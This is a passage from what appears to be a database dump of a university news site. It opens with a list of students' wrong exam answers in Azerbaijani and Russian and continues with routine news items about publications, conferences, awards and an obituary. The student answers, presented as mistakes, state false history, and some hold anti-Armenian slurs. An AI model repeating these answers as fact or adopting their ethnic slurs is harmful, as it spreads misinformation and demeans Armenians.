style=\"width:350px;height:233px;margin:7px;float:right\"></p>\r\n<p><strong>“Azərbaycan\r\ntarixi” fənni üzrə</strong></p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">1)Vandalizm- Van gölü hövzəsində indiki erməni əhalisinin\r\nyaratdığı mifologiya idi. Romada mövcud olan mifologiya sahəsində olan bir elm\r\nsahəsi idi.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">2)Proletariat (fəhlə sinifi)- geniş dünyagörüşlü,\r\nfikri işıqlı, gələcəyi parlaq insanlardır.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">3)Proletariat- öz məqsədlərini gizlədən və bütün\r\ndünyanı aldadan və eyni zamanda təcavüzkarlıq edən xalqa deyilir. Buna misal\r\nerməni xalqıdır.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">4)Qazan xanın dini islahatında isə hamının özbaşına\r\nmolla adının qarşısını almaq istədi amma dini islahatı axıra qədər yerinə yetirə\r\nbilmədi.</p>\r\n<p>5)Fəhlə tətili-\r\niş görmürlər və istirahətə çıxırlar. Məsələn, qışda çoxda işləmək olmur havaya görə.</p>\r\n<p>6)Kapitalizm\r\n– hər şeyin pulla ölçüldüyü, pulu olana kişi deyildiyi bir quruluş</p>\r\n<p>7)Kolxoz – kəndlilərin\r\nbaşında duran, onlara nəzarət edən qurum</p>\r\n<p>8)Kapitalizm\r\n– bəzi iqtisadçıların və siyasətçilərin tarixi inkişafda ayırdığı\r\nictimai-iqtisadi informasiya</p>\r\n<p>9)Hitlerin əsas\r\nməqsədi Bakını işğal etmək idi. Hətta Hitler ad günündə onun üçün SSRİ-nin xəritəsi\r\nformasında tort hazırlanmışdır, məhz tortun Bakı hissəsini kəsib yemişdir. </p>\r\n<p>10)1920-ci\r\nildə Almaniyanın Azərbaycana hücumu nəticəsində Sovet hakimiyyəti qurulmuşdur.</p><p><em>Rus dilli tələbələrin yazıları</em></p><p><em></em></p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">1)Рабочий класс- это люди, рабочие, которые работают из-за зарплаты.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">2)Национализация- это означает, что все должны говорить на\r\nязыке, на котором говорит власть, и живут на одной територии.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">3)Кулаки, кулачество- это бой или сражение, которое\r\nпроисходит с помощью кулаков или человек кого- то избивает.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">4)Забастовка- это когда кристиане недовальны\r\n(Примечание: подразумевается крестьне)</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">5)Рабочие- это которые трудятся на заводах, на фермах\r\nдля народа.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">6)Буржуазия- это новые поколения и люди, которые приносили\r\nэтому народу новые мысли, эти люди были богатыми людьми.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">7)В январе 1990 г в Баку было введено случайное\r\nположение (подразумевается чрезвычайное).</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">8)В 1918-20 гг было создано 5 коммун (имеется ввиду\r\n5 кабинетов) Этит коммуны были придательской (то есть предательской),\r\nони хотели чтобы передать власть Саветскому режиму (Советскому режиму).</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">9)На территории Азербайджана проживают многие этнические\r\nменьшинства как лезгины, талыши, авары, <strong>Еразы</strong>\r\nи т.д.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">10)В Азербайджане политические партии: Yap,\r\nMüsavat, Muxalifət.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">11)Политическая эмиграция- это переезд или переселение из\r\nсвоей страны в другую для получения блага во имя своей страны. Пример:\r\nРасулзаде переехал в Турцию и вёл свои дела в блага Азербайджана там.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">12)Откупная система- это означает что все земли\r\nнедвижимость, которая была у богатых людей и отбиряется у них и передается\r\nвласть или акции на нефть, никто не может купить эти акци, все передается\r\nвласти. Откупная система это означает то, что все могут купить то, что они\r\nзахотят.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">13)9 мая- День победы. Это день победы над Фашизмом. В этот\r\nдень фашизские войска отодвинулись назад. Мы одержали победу.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">14)Подтверждающим\r\nдокументом АДР была делегация (имеется ввиду-Декларация) о независимости.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">15)Азербайджан расположен вокруг Каспийского моря.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">16)Азербайджан расположен в восточной части Закавказье, в\r\nПередней Азии и на Ближнем Востоке.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">17)Агуэнский собор- церковный собор в 488 г сделал Стробон III (имеется в виду\r\nВачаган III) и сделал 21 правила.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">18Азербайджанское правительсво отправило делегацию на\r\nПарижскую конференцию, чтобы получить дефекта.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">19)Выдающиеся\r\nазербайджанские поэты 18 века – Физули, Низами, Сабир. </p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">20)Коллективизация – это обьединение народов в единую нацию\r\n(советскую)</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">21)В 1920 г стало образовываться СССР. В его состав вошли\r\nАзербайджан, Грузия, Россия, Польша, Бельгия, Армения</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">22)В 1920 г образовался СССР. Туда вошли страны СНГ</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">23)Тоталитаризм – одно из ругательных терминов в современной\r\nполитологии. Также это один из неопределенных терминов.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">24)СССР образовался в 1920 г., в его состав вошли 15\r\nреспублик, среди них Азербайджан, Грузия, Литва, Чехославакия, Армения,\r\nКазахстан, Туркменистан, Эстония, Узбекистан.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">25)Дипортация (Депортация) – когда лица одного государства\r\nбывают высланы в другое государство из-за политических разногласий. Каприлир\r\nпосле ходжичиской троидии все усли депортированы в 20 веки, а так же\r\nАзербайджанцы были депорчированы из Армиани.</p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">26)Государству Атабеков положили конец Эльдегизиды. </p>\r\n<p style=\"\" text-align:justify;text-indent:-18.0pt\"=\"\">27)В первобытнообщинном строе люди жили стаяти.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>“Sivilizasiya\r\ntarixi” fənni üzrə</em></strong></p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-align:justify;text-indent:-18.0pt;line-height:normal\"=\"\">1)Qədim romalılar qanunların qəbulu üçün hamamda toplaşırdılar.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-align:justify;text-indent:-18.0pt;line-height:normal\"=\"\">2)Qədim Yunanıstanda demosa (xalq) dövlət tərəfindən ipoteka verilirdi.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-align:justify;text-indent:-18.0pt;line-height:normal\"=\"\">3)Varna (kasta) – 5 koloniya var idi. Onlardan biri də varna idi. Bu\r\nkoloniya bölgüsü Hindistanda yaranmışdı.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-indent:-18.0pt;line-height:normal\"=\"\">4)Çao- Çində pul növünə deyilir. Print edilmiş ilk pul.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-indent:-18.0pt;line-height:normal\"=\"\">5)Terra inkoqnita- “terra” termus sözündən götürülüb və hamam mənasında\r\nişlənir. Şahlar, imperatorlar orada çox vaxt həm dincəlir həm də danışırdılar.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-indent:-18.0pt;line-height:normal\"=\"\">6)Pirr qələbəsi tarixə “məğlubiyyətə bərabər qələbə” adı ilə düşüb.\r\nMüasir dövrdə məsələn, imtahana girirsən və 60 balla keçirsən imtahanı. Bu tələbə\r\nüçün “məğlubiyyətə bərabər qələbə” olur.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-indent:-18.0pt;line-height:normal\"=\"\">7)Mesenat- görkəmli yazıçı həm də xeyirxah qadın kimi tanınmışdır.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-indent:-18.0pt;line-height:normal\"=\"\">8)Qazlar Romanı xilas etdi. Romaya hücum edən Qall tayfaları qəfildən\r\ngözlənilməz hadisə ilə rastlaşırlar, onlar qazların göyə qalxıb Romaya tərəf\r\nuçduğunu gördülər. Romalılar qazların gəlişindən hadisəni başa düşdü və bunun\r\nadı “Qazlar Romanı xilas etdi” olaraq qaldı.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;text-indent:-18.0pt;line-height:normal\"=\"\">9)Axilles dabanı. Bu ifadə qədim bir rəvayətlə bağlıdır. Daldan atılan\r\ndaş topuğa dəyər və s. Axilles dabanı çox yekə olub. Ayaq qoyduğu yerdə iz\r\nsaxladığına görə adı Axilles dabanı adlanır.</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:53.85pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n<p><em>Rus\r\ndilli tələbələrin yazıları</em></p>\r\n<p style=\"\" margin-left:2.0cm;text-align:justify;text-indent:-21.25pt\"=\"\">1)Ахиллесова пята – Ахилесс оставил за собой следы. </p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p>&nbsp;</p>  <br></div>'),(4796,2850,'az','“Xəzər”in əməkdaşının essesi aznews.az saytında yayımlanıb','2018-ci il yanvarın 17-də aznews.az saytında Xəzər Universitetinin Magistratura, doktorantura və elmi işlər bölməsinin...','<p>2018-ci il yanvarın 17-də <strong><em>aznews.az</em></strong> saytında Xəzər Universitetinin Magistratura, doktorantura və elmi işlər bölməsinin müdiri, fəlsəfə doktoru, dosent Eldar Şahgəldiyevin “Qızıl payız lövhələri və Qarabağ...” adlı essesi dərc olunmuşdur.</p><p>Esseni bu linkdə oxumaq olar:&nbsp;</p><p><a href=\"http://www.aznews.az/news/cemiyyet/162563.html\">http://www.aznews.az/news/cemiyyet/162563.html</a>.</p>'),(4797,2752,'en','An article by an instructor of Department of the Azerbaijan Language and Literature published','An article under the headline “Poet identity in citizenship lyric of Azerbaijan in the second half of XX century...','<p>An article under the headline “Poet identity in citizenship lyric of Azerbaijan in the second half of XX century (based on the literary works by Mammad Araz, Sohrab Tahir AzarAzar and Mammad Ismayil)” by Gardashkhan Azizkhanli, a teacher of Department of the Azerbaijan language and literature of Khazar University, was published in “Literature journal” (2017, № 3, Volume XXXI) of Institute of Literature named after Nizami Ganjavi, Azerbaijan National Academy of Sciences.</p><p>Based on literary works by Mammad Araz, Sohrab Tahir AzarAzar and Mammad Ismayil, the author scientifically considers direct impact of poet identity on poetic works. Moreover, analysing poetic works by the above-mentioned poets, the author stresses the role of these poets in the formation of a national consciousness in Azerbaijan. The author also comparatively introduces similar and distinctive features of these poets and comes to the conclusion that these poets helped Azerbaijan people, who are geographically-politically divided, reserve the national unity.</p><p>A <a href=\"http://www.khazar.org/files/letters/Qardashxan-Edebiyat%20mecmuesi-2017-3.pdf\"><strong>link</strong></a> of the article.</p>'),(4798,2720,'en','Another scientific article by a PhD candidate published','An article “The role of foreign languages as a means of communication in modern time” by Valida Karimova...','<p>An article “The role of foreign languages as a means of communication in modern time” by Valida Karimova (PhD candidate), Vice-dean of the School of Humanities and Social Sciences, was published in the fifth number of “Scientific works” journal (ISSN 2224-5529) of Nakhchivan State University, a journal recommended by Supreme Attestation Commission under the President of the Republic of Azerbaijan. The article deals with importance of foreign languages in terms of communication. Moreover, the article gives information on languages, words as well as widely used modern means of communication. The author gives answers to several questions such as “What is communication?”, “What is speech for?”, “What are auxiliary means for communication?” etc.</p><p>A <strong><em><a href=\"http://www.khazar.org/files/letters/humanitar%20186.pdf\">link</a> </em></strong>to the article.</p>'),(4799,2748,'en','Conference of Law Students and Law Alumni held at Khazar University','A conference of law students and law alumni was held at Khazar University on December...','<p>A conference of law students and law alumni was held at Khazar University on December 16, 2017.</p><p>The conference was organised by Lala Darchinova, an independent lawyer, a member of International Lawyers Association and Law Teaching Center of Khazar University.</p><p>Students, professional lawyers, members of the Azerbaijan Bar Association, representatives of the International Association of Lawyers and members of the “Doughty Chambers” in London, UK, participated in the conference.</p><p>Lala Darchinova mentioned, opening the conference, that the aim of the conference was to discuss challenges of law profession by bringing young lawyers and practical lawyers together, and help young lawyers choose the right professional qualification in the future.</p><p>Jurate Guzeviciute, a lawyer of International Association of Lawyers (London), an independent lawyer Konul Gasimova, Elnur Karimova, Master’s student in Law at Marmara University, Narmin Abilova, Master’s student in Law at University of Rome talked at the conference. The conference ended with further discussions.</p>'),(4800,2745,'en','Book Fair at Khazar University','A book fair was organised by “Book Zone” Book House in the foyer of the university on December 12-13, 2017...','<p>A book fair was organised by “<strong><em>Book Zone</em></strong>” Book House in the foyer of the university on December 12-13, 2017, on initiatives by Ravan Ibrahimly and Emil Aliyev, the second year students of School of Humanities and Social Sciences. The book fair provided students and university staff with an opportunity to buy books at a discount.</p>'),(4801,2729,'en','A ceremony dedicated to the founder of Hungary took place in the Central Library of ANAS','Tarana Isayeva, PhD in History, a lecturer of the Department of History and Archeology, participated in a ceremony...','<p>Tarana Isayeva, PhD in History, a lecturer of the Department of History and Archeology, participated in a ceremony on December 12, 2017, which was organized by the Embassy of Hungary to Azerbaijan, dedicated to Istvan Szechenyi, a founder of modern Hungary and a founder of the Hungarian Academy of Sciences, an economist, a writer, a political theorist. Zoltan Fonagy, a professor of Hungarian Academy of Sciences, delivered a speech in the ceremony. Later, Viktor Szederkenyi, Hungarian Ambassador to Azerbaijan, talked about the development of mutual relations between the two countries. Vilayat Guliyev, Ambassador of Azerbaijan to Hungary, got the floor and talked about similar features of Istvan Szechenyi and Haji Zeynalabdin Taghiyev.</p>'),(4802,2747,'en','Seminar “How should I approach my child? Support for experts and parents”','There was a seminar “How should I approach my child? Support for experts and parents” on December...','<p>There was a seminar “How should I approach my child? Support for experts and parents” on December 16, 2017, with the organizational support by the Department of Psychology of Khazar University and Khazar Psychological Service Centre. The seminar was run by Kamala Aliyeva, a lecturer of the Department of Psychology of Khazar University. During the seminar, the participants discussed various topics such as proper interaction with children, methods for eliminating problematic behaviors, impact of family environment on child personality, psychological problems arising from family types and methods for improving self-confidence of children. Malak Karimova, Director of Khazar Psychological Service Centre, stressed that parents should be educated in parenting, and together with Kamala Aliyeva, answered questions of the participants.</p>'),(4803,2751,'en','“What would happen if there were rector election…”','Modern.az website investigated public attitude to rector election of higher education institutions...','<p><strong><em>Modern.az</em></strong> website investigated public attitude to rector election of higher education institutions. Prof. Hamlet Isahkanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, also expressed his opinion on this issue.</p><p>For further information, please refer to the following link:</p><p style=\"background:undefined \"><a href=\"http://modern.az/az/news/151926\">http://modern.az/az/news/151926</a>;</p><p><a href=\"http://www.dia.az/8/163703-universitetlerde-rektor-sechkisi-kechirilse.html\">http://www.dia.az/8/163703-universitetlerde-rektor-sechkisi-kechirilse.html</a>;</p><p><a href=\"http://istiqlal.az/news/46329.html\">http://istiqlal.az/news/46329.html</a>;</p><p><a href=\"http://mektebgushesi.az/2017/12/18/universitetl%C9%99rd%C9%99-rektor-seckisi-kecirils%C9%99-n%C9%99-ba%C5%9F-ver%C9%99r/\">http://mektebgushesi.az/2017/12/18/universitetlərdə-rektor-seckisi-kecirilsə-nə-baş-verər/</a>;</p><p><a href=\"https://paralel.az/article/az/28090-Universitetl%C9%99rd%C9%99+rektor+se%C3%A7kisi+ke%C3%A7irils%C9%99+n%C9%99+ba%C5%9F+ver%C9%99r...++.html\">https://paralel.az/article/az/28090-Universitetlərdə+rektor+seçkisi+keçirilsə+nə+baş+verər...++.html</a>.</p>'),(4804,2732,'en','Awardees of SOCAR internal scholarship program have been identified','On December 13, 2017, there was a ceremony in SOCAR TOWER for presentation of scholarship cards...','<p>On December 13, 2017, there was a ceremony in SOCAR TOWER for presentation of scholarship cards to 70 students, who were granted a scholarship for 2016/2017 academic years by SOCAR, within Internal Scholarship Program, one of the social responsibility projects of the company. Asif Hasani (Chemistry Engineering), Murad Tapdigli (Civil Engineering) and Agshin Babayev (Petroleum Engineering), students of School of Applied Sciences of Khazar University, were also granted a scholarship. The amount of the scholarship is 1000 AZN per student for a year.</p><p>Representatives of the SOCAR administration, representatives of the State Agency for Public Service and Social Innovations under the President of the Republic of Azerbaijan, and heads of the higher education institutions participated in the ceremony.</p>'),(4805,2721,'en','“A letter of gratitude” for Hamlet Isakhanli','Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, received...','<p>Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, received “A letter of gratitude” from Li Ya, a researcher on the Chinese language and culture of Confucius Institute, Baku State University, on December 11, 2017. In the letter, Lee Ya thanked Hamlet Isakhanli, and Aytaj Misgarli, Samira Orujova, representatives of Library-Information Centre, as well as all people contributing to the ceremony, for the organisation of “The First Chinese Culture Week”, 4-7 December, and expressed the importance of collaboration in the fields of culture and research in the future.</p>'),(4806,2749,'en','Prof. Hamlet Isakhanli and Afag Karimova, a carpet artist, were presented with “Kazim Garabekir Foundation” awards','A conference under name of “The mighty sword and pen of the Turkish world” was held in Central Scientific...','<p>A conference under name of “The mighty sword and pen of the Turkish world” was held in Central Scientific Library on December 15, 2017, with organisational support of \"Turan Javid Women Center\" Public Union and Central Scientific Library. The conference was dedicated to 135 anniversaries of two great figures of the Turkish world, Huseyn Javid, the founder of poetic drama genre, great romantic poet and public figure, and Kazim Garabekir, the state and military figure of Turkey.</p><p>Representatives of state and public institutions and higher educational institutions, heads of diplomatic missions accredited in Azerbaijan as well as art critics, philologists, artists, musicians and actors, who addressed topics relating to Huseyn Javid and Kazim Garabekir, participated in the conference.</p><p>Prof. Hamlet Isahkanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, and Director of Culture Centre of the university and well-known carpet artist Afag Karimova participated in the conference.</p><p>In her report, entitled “Huseyn Javid in Fine Art” Afag Karimova talked about craftsmen, who addressed topics relating to Huseyn Javid, and presented her carpets “Adabiyyat” and “Heydar Aliyev and Huseyn Javid” as well as “Planet” poster and “Alin yazisi” batic.</p><p>It was also mentioned that several ceremonies, dedicated to memory of Huseyn Javid, were held both at Khazar University and “Dunya” school, affiliated with the university.</p><p>In the ceremony, prominent scientists and art figures were presented with prizes. Kazim Garabekir’s daughter Timsal Garabekir, Head of Kazim Garabekir Foundation, presented Prof. Hamlet Isakhanli and Afag Karimova “Kazim Garabekir Foundation” awards.</p>'),(4807,2688,'en','Jamal Mustafayev, a prominent philosopher of Azerbaijan, passed away','Professor Jamal Vali Mustafayev, a prominent philosopher of Azerbaijan, Doctor of Sciences in Philosophy...','<p><img src=\"/files/letters/2016-01-20-13-50-08camalll.jpg\" style=\"border:0px  #000000;width:190px;height:265px;margin:7px 10px 7px 7px;float:left\">Professor Jamal Vali Mustafayev, a prominent philosopher of Azerbaijan, Doctor of Sciences in Philosophy, Honored scientist, Director of the Centre for Translation Studies of Khazar University, a member of editorial staff of “Khazar Review” journal, passed away on December 2, 2017, at the age of 89. Jamal Mustafayev was born in Garayazi region (currently Gardabani) of Georgia in 1928. He got his secondary education in 1935-1944 at Kosali village secondary school. Afterwards, he studied two-year Institute of Teachers in Tbilisi. Jamal Mustafayev worked as a teacher in Kosali village in 1946-1948. He entered the Department of philosophy, Azerbaijan State University (currently Baku State University) in 1948. In 1949, he transferred to Moscow State University and graduated in 1952. He worked as a school principal in Garayazi region for two years.</p><p>He was a postgraduate student in Institute of Philosophy of Academy of Sciences of USSR in 1954-1957. During postgraduate education, his scientific studies concentrated on “Nizami’s philosophical and ethical views”. He defended a dissertation on this subject. Jamal Mustafayev worked as a junior scientist and senior scientist in Institute Philosophy and Law, Azerbaijan Academy of Sciences in 1957-1968.</p><p>Jamal Mustafayev defended a doctoral dissertation on “Nizami’s ideas and modernity” in council of defense of the Azerbaijan State University, 1968, and was granted a degree of doctor of philosophy. He was Head of Department of Philosophy in Azerbaijan Pedagogical Institute of Foreign Languages (currently Azerbaijan University of Languages).</p><p>Jamal Mustafayev was a professor of Azerbaijan State University from 1976 to 1999. He was Head of Department of Ethics-aesthetics in 1985-1991 in the same university. Jamal Mustafayev had been Director of Centre for Translation Studies of Khazar University since 1999.</p><p>Jamal Mustafayev published serious scientific works on philosophical ideas of middle ages of Azerbaijan. His works dedicated to Nizami’s philosophy and philosophical ideas of XII century of Azerbaijan were quite prominent. Moreover, his articles were published in prestigious journals in Moscow and other cities. His studies on social utopia of Muslim east and other works were translated into foreign languages. Also, he was one of the researchers of modern Azerbaijan poetry.</p><p>Jamal Mustafayev’s scientific and pedagogical activity involved more than 70 scientific articles, and two monographs. He delivered reports in various national and international congresses, symposia and conferences.</p><p>Several PhDs and Doctors of sciences in ethics and aesthetics developed under the auspices of Jamal Mustafayev. He was a member of council of defense of Institute</p><p>of Philosophy of Azerbaijan Academy of Sciences, and a member of Scientific-administrative council of Khazar University.</p><p>The memory of outstanding scientist, sincere and caring person Jamal Mustafayev will always live in the hearts of those who know him.</p><p>May his soul rest in peace!</p>'),(4808,2634,'en','A “Khazar” graduate was appointed an executive director of “Caspian European Club”','According to news websites of Azerbaijan, Mustafa Abbasbayli was appointed a new executive director of “Caspian...','<p>According to news websites of Azerbaijan, Mustafa Abbasbayli was appointed a new executive director of “Caspian European Club”. Mustafa Abbasbayli is a graduate from Khazar University in 2000 with qualification in International law, the School of Law.</p><p>Links for full news:</p><p style=\"background:undefined \"><a href=\"http://ru.apa.az/ekonomika-azerbaydjana/predprinimatelstvo/naznachen-novyj-glavnyj-ispolnitelnyj-direktor-caspian-european-club.html\">http://ru.apa.az/ekonomika-azerbaydjana/predprinimatelstvo/naznachen-novyj-glavnyj-ispolnitelnyj-direktor-caspian-european-club.html</a>;</p><p><a href=\"http://www.abc.az/en/news/1985\">http://www.abc.az/en/news/1985</a>;</p><p><a href=\"http://bugun.az/news/103892/caspian-european-club-a-bas-icraci-direktor-teyin-edilib.html\">http://bugun.az/news/103892/caspian-european-club-a-bas-icraci-direktor-teyin-edilib.html</a>;</p><p><a href=\"https://report.az/biznes/caspian-european-club-a-bas-icraci-direktor-teyin-edilib/\">https://report.az/biznes/caspian-european-club-a-bas-icraci-direktor-teyin-edilib/</a>;</p><p><a href=\"http://salamnews.org/az/news/read/294966\">http://salamnews.org/az/news/read/294966</a>;</p><p><a href=\"http://interfax.az/view/718288\">http://interfax.az/view/718288</a>;</p><p><a href=\"https://metbuat.az/news/829096/caspian-european-club-a-bas-icraci-direktor-teyin-edilib.html\">https://metbuat.az/news/829096/caspian-european-club-a-bas-icraci-direktor-teyin-edilib.html</a>.</p>'),(4809,2671,'en','Presentation of “Caucasus International” journal','Center for Strategic Studies under the President of the Republic of Azerbaijan made a presentation of “Caucasus...','<p>Center for Strategic Studies under the President of the Republic of Azerbaijan made a presentation of “Caucasus International” journal for lecturers and students of the Department of Political Sciences and International Relations of Khazar University on November 24, 2017. The presentation was made by Ilgar Gurbanov, the deputy editor and researcher of Department of Analyses of Foreign Affairs of Center for Strategic Studies, and Shabnam Maharramova, an expert on media of the Centre.</p>'),(4810,2664,'en','Another scientific article of a PhD candidate published','An article “N. Chomsky’s philosophical approach to language: critique of structural linguistics and an idea of language...','<p>An article “N. Chomsky’s philosophical approach to language: critique of structural linguistics and an idea of language as an a priory&nbsp;phenomenon” by Valida Karimova (PhD candidate), Vice-dean of School of Humanities and Social Sciences of Khazar University, was published in “Issues of Philology” journal of Institute of Manuscripts named after M.Fuzuli, number 14, a journal recommended by Supreme Attestation Commission under the President of the Republic of Azerbaijan. The article deals with the importance of foreign languages. It is hard to find another linguist in XX century who had a huge impact on linguistics as Chomsky. The article deals with some issues such as Chomsky’s ideas on language, the universality of the syntactic structure of languages and other ideas which caused resonance. Moreover, the author gives a short but important information on Chomsky’ ideas on linguistics.</p><p>A link for the article:</p><p><a href=\"http://www.filologiyameseleleri.net/pdf/2017/n14.pdf\">http://www.filologiyameseleleri.net/pdf/2017/n14.pdf</a>.<br></p>'),(4811,2661,'en','Meeting on \"Xenophobia and Tolerance\" was held at \"Dunya\" School','A meeting on the topic \"Xenophobia and Tolerance\" was held at \"Dunya\" School, affiliated with Khazar University...','<p>A meeting on the topic \"Xenophobia and Tolerance\" was held at \"Dunya\" School, affiliated with Khazar University, on November 23, 2017, which was organized by Knowledge Foundation and Binagadi District Executive Power.</p><p>A link for full article:</p><p><a href=\"https://525.az/site/?name=xeber&amp;news_id=90107#Kalibri&amp;gsc.tab=0\">https://525.az/site/?name=xeber&amp;news_id=90107#Kalibri&amp;gsc.tab=0</a>.<br></p>'),(4812,2635,'en','An interview with PhD candidate of Khazar University','On November 14, 2017, Ordu.az website posted an interview with Sana Imran, a PhD candidate of Khazar University...','<p>On November 14, 2017, <strong><em>Ordu.az</em></strong> website posted an interview with Sana Imran, a PhD candidate of Khazar University, and wife of Pakistan\'s military attaché in Azerbaijan.</p><p>A link for full article:</p><p><a href=\"http://ordu.az/az/news/122934/atet-qarabag-ve-kesmir-munaqiselerinin-helline-yardim-etmelidir-sena-imran-musahibe\">http://ordu.az/az/news/122934/atet-qarabag-ve-kesmir-munaqiselerinin-helline-yardim-etmelidir-sena-imran-musahibe</a>.<br></p>'),(4813,2700,'en','Khazar University representative attended a symposium in Turkey','On 1-3 December, 2017, there was an “International symposium on History, Culture and Civilization of Central...','<p>On 1-3 December, 2017, there was an “International symposium on History, Culture and Civilization of Central Anatolian and Mediterranean Beyliks – IV Sahib Ataoghullari ve Turghutoghullari” in Afyon city, Turkey, organized by Turkish Institute of History, Afyon Kocatepe University, Najmaddin Arbakan University and Association of Islamic Historians. Zivar Huseynli-Baylan, PhD in Philosophy a coordinator and Associate Professor of the Department of Languages and Cultures of Khazar University, also participated in the symposium. Z.Huseynli-Baylan delivered a report “Analyses on Turghutoghullari and Safavides relations (based on Persian sources)” in the symposium. Moreover, Z.Huseynli-Baylan participated in final assessment meeting of the symposium and expressed her ideas on the symposium. The participants got certificates at the end of the symposium.</p>'),(4814,2667,'en','Some International students of Khazar University went on an excursion to National Museum of History of Azerbaijan','Some International freshmen of Khazar University, with Roza Arazova, Head of the Department of History...','<p>Some International freshmen of Khazar University, with Roza Arazova, Head of the Department of History and Archeology and Bayram Guliyev, the instructor of the same department, went on an excursion to the National Museum of History of Azerbaijan, November 25, 2017, which demonstrates the millennial history of Azerbaijan people. Before the excursion, the instructor gave some information about Baku and historical monuments on the way to the museum. Students were satisfied with the excursion to the museum which reflected ancient and modern history of Azerbaijan. The use of Arabic alphabet since Middle Ages, archaeological findings of prehistory, ethnographic visual aids and information on Khojaly tragedy drew the students\' interest.&nbsp;</p><p>Students suggested that excursions should be organized regularly.</p>'),(4815,2668,'en','Scientific article by a Khazar University instructor published','An article “Genuine and surrogate patriotism in contemporary citizenship lyric” by Gardashkhan Azizkhanly...','<p>An article “Genuine and surrogate patriotism in contemporary citizenship lyric” by Gardashkhan Azizkhanly, the teacher of the Department of Azerbaijan Language and Literature, was published in “Issues of Philology”, November 2017, 15<sup>th</sup> issue, a publication of Institute of Manuscripts named after M.Fuzuli. The article reviews modern Azerbaijan poems, written with genuine patriotic language, as well as some texts with panegyric characteristics. The author mentions that lyrics by M.Araz, S.Tahir and M. Ismayil are prominent in terms of genuine patriotism. The issue of motherland in their literary works deserves attention in terms of new poetic characteristics.</p><p>Moreover, the article deals with pseudo-poems published in some literary publications. The author presents authentic poems of patriotic nature, which played a crucial role in our national revival and development of ideology of Azerbaijanism, against the poems which are simply consist of words and rhymes.</p><p>The article mentions that genuine and surrogate patriotism in contemporary citizenship lyric distinctively differs from each other. The elements of genuine patriotism in a poem touches hears of readers, whereas texts full of unnatural patriotism deprived of figurative expressions never satisfy readers.</p><p>The reviewer of the scientific article is Professor Badirkhan Ahmadov, Doctor of Philological Sciences.</p>'),(4867,2858,'az','“Çin Yeni ili”nə həsr edilmiş tədbir AzərTAc-da','2018-ci il yanvarın 19-da Azərbaycan Dövlət İnformasiya Agentliyinin (AzərTAc) rəsmi internet səhifəsində Xəzər Universitetinin nəzdində...','<p>2018-ci il yanvarın 19-da Azərbaycan Dövlət İnformasiya Agentliyinin (AzərTAc) rəsmi internet səhifəsində Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbi ilə Bakı Dövlət Universitetinin (BDU) nəzdindəki Konfutsi İnstitutunun birlikdə hazırladıqları “Çin Yeni ili”nə həsr edilmiş tədbir haqqında xəbər 